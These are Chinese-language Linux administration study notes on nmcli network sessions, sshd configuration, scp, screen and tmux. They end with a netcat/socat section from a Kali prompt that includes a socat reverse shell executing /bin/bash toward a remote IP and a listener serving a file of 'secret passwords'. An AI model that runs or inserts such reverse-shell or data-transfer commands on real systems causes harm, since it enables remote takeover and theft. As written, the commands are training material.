NetworkManager

RHEL和CentOS系统默认使用NetworkManager来提供网络服务,这是一种动态管理网络配置的守护进程,能够让网络设备保持连接状态。可以使用nmcli命令来管理Network Manager服务。nmcli是一款基于命令行的网络配置工具,功能丰富,参数众多。它可以轻松地查看网络信息或网络状态

  1. [root@linux Desktop]# nmcli connection show
  2. NAME UUID TYPE DEVICE
  3. iPhone-WIFI 4662f8ab-6ccd-43df-a52a-b13af1da3582 802-3-ethernet eno16777736
  4. eno16777736 04952fbf-ecfe-4ddf-b483-b8487682a33a 802-3-ethernet --
  5. [root@linux Desktop]#

图形化配置网络服务命令
nm-connection-editor
nmtui

RHEL7系统支持网络会话功能,允许用户在多个配置文件中快速切换(非常类似于firewalld防火墙服务中的区域技术)。如果我们在公司网络中使用笔记本电脑时需要手动指定网络的IP地址,而回到家中则是使用DHCP自动分配IP地址。这就需要麻烦地频繁修改IP地址,但是使用了网络会话功能后一切就简单多了—只需在不同的使用环境中激活相应的网络会话,就可以实现网络配置信息的自动切换了。
可以使用nmcli命令并按照“connection add con-name type ifname”的格式来创建网络会话。
使用con-name参数指定公司所使用的网络会话名称company,然后依次用ifname参数指定本机的网卡名称,用autoconnect no参数设置该网络会话默认不被自动激活,以及用ip4及gw4参数手动指定网络的IP地址

[root@linux Desktop]# nmcli connection add con-name conmpany ifname eno16777736 autoconnect no type ethernet ip4 192.168.1.200/24 gw4 192.168.1.254
Connection 'conmpany' (26fa65db-a30c-4679-8c0b-508cffec1030) successfully added.
[root@linux Desktop]# nmcli connection show
NAME         UUID                                  TYPE            DEVICE      
iPhone-WIFI  4662f8ab-6ccd-43df-a52a-b13af1da3582  802-3-ethernet  eno16777736
eno16777736  04952fbf-ecfe-4ddf-b483-b8487682a33a  802-3-ethernet  --          
conmpany     26fa65db-a30c-4679-8c0b-508cffec1030  802-3-ethernet  --          
[root@linux Desktop]#

[root@linux Desktop]# nmcli connection add con-name iPhone-WIFI ifname eno16777736 autoconnect yes  type ethernet  
Connection 'iPhone-WIFI' (703d91da-ba81-41ad-8155-b9e8508d601b) successfully added.

SSH

SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。

sshd是基于SSH协议开发的一款远程管理服务程序,不仅使用起来方便快捷,而且能够提供两种安全验证的方法:
Ø 基于口令的验证—用账户和密码来验证登录;
Ø 基于密钥的验证—需要在本地生成密钥对,然后把密钥对中的公钥上传至服务器,并与服务器中的公钥进行比较;该方式相较来说更安全。
SSH 命令使用方法

  • ssh -l username host [-p port]
  • ssh username@host[-p port]

    sshd服务的配置信息保存在/etc/ssh/sshd_config文件中。运维人员一般会把保存着最主要配置信息的文件称为主配置文件,而配置文件中有许多以井号开头的注释行,要想让这些配置参数生效,需要在修改参数后再去掉前面的井号。

参数 作用
Port 22 默认的sshd服务端口
ListenAddress 0.0.0.0 设定sshd服务器监听的IP地址
Protocol 2 SSH协议的版本号
HostKey /etc/ssh/ssh_host_key SSH协议版本为1时,DES私钥存放的位置
HostKey /etc/ssh/ssh_host_rsa_key SSH协议版本为2时,RSA私钥存放的位置
HostKey /etc/ssh/ssh_host_dsa_key SSH协议版本为2时,DSA私钥存放的位置
PermitRootLogin yes 设定是否允许root管理员直接登录
StrictModes yes 当远程用户的私钥改变时直接拒绝连接
MaxAuthTries 6 最大密码尝试次数
MaxSessions 10 最大终端数
PasswordAuthentication yes 是否允许密码验证
PermitEmptyPasswords no 是否允许空密码登录(很不安全)

远程传输 scp

scp(secure copy)是一个基于SSH协议在网络之间进行安全传输的命令,其格式为“scp [参数] 本地文件 远程帐户@远程IP地址:远程目录”。<br />    “scp [参数] 远程用户@远程IP地址:远程文件 本地目录”
参数 作用
-v 显示详细的连接进度
-P 指定远程主机的sshd端口号
-r 用于传送文件夹
-6 使用IPv6协议

不间断会话服务

screen

screen是一款能够实现多窗口远程控制的开源服务程序,简单来说就是为了解决网络异常中断或为了同时控制多个远程终端窗口而设计的程序。

Ø 会话恢复:即便网络中断,也可让会话随时恢复,确保用户不会失去对远程会话的控制。
Ø 多窗口:每个会话都是独立运行的,拥有各自独立的输入输出终端窗口,终端窗口内显示过的信息也将被分开隔离保存,以便下次使用时依然能看到之前的操作记录。
Ø 会话共享:当多个用户同时登录到远程服务器时,便可以使用会话共享功能让用户之间的输入输出信息共享。

[root@linux ~]# screen -S linux
创建一个会话 名字为linux
[root@linux ~]# screen -ls
There are screens on:
3343.linux (Attached)
3291.linux (Attached)
3054.linux (Detached)
3 Sockets in /var/run/screen/S-root.
查看所有会话
screen -r linux
恢复会话
screen -x
会话同步
exit 退出会话

tmux

tmux 应用程序的名称来源于终端(terminal)复用器(muxer)或多路复用器(multiplexer)。换句话说,它可以将您的单终端会话分成多个会话。 它管理窗口和窗格:
窗口(window)是一个单一的视图 - 也就是终端中显示的各种东西。
窗格(pane)是该视图的一部分,通常是一个终端会话。

  1. 敲 Ctrl+b, “ 水平分割当前单个窗格。 现在窗口中有两个命令行窗格,一个在顶部,一个在底部。请注意,底部的新窗格是活动窗格。
  2. 敲 Ctrl+b, % 垂直分割当前单个窗格。 现在你的窗口中有三个命令行窗格,右下角的窗格是活动窗格。
  3. 为了脱离一个会话,请敲 Ctrl+b, d。然后会话消失,你重新返回到一个标准的单一 shell。
  4. 敲 Ctrl+b, q,数字会短暂的出现在窗格上。在这期间,你可以你想要浏览的窗格上对应的数字。
  5. 为了创建一个新的窗口,请敲Ctrl+b, c 。请注意,状态栏显示当前有两个窗口正在运行。(敏锐的读者会看到上面的截图。)
  6. 要移动到上一个窗口,请敲 Ctrl+b, p 。
  7. 要移动到下一个窗口,请敲 Ctrl+b, n 。
  8. 要立即移动到特定的窗口,请敲 Ctrl+b 然后跟上窗口编号。

image.png

Netcat VS Socat

连接远程服务:

kali@kali:~$ nc <remote server's ip address> 80
kali@kali:~$ socat -TCP4:<remote server's ip address>:80

监听端口:

监听1024以下的端口需要root权限

kali@kali:~$ sudo nc -lvp localhost 443kali@
kali:~$ sudo socat TCP4-LISTEN:443 STDOUT

文件传输:

在443端口发送文件,运行多个连接

sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt

接收端:

socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create

反弹shell:

监听方:

socat -d -d TCP4-LISTEN:443 STDOUT

反弹方:

socat TCP4:10.11.0.22:443 EXEC:/bin/bash

Linux 获取公网IP

curl http://members.3322.org/dyndns/getip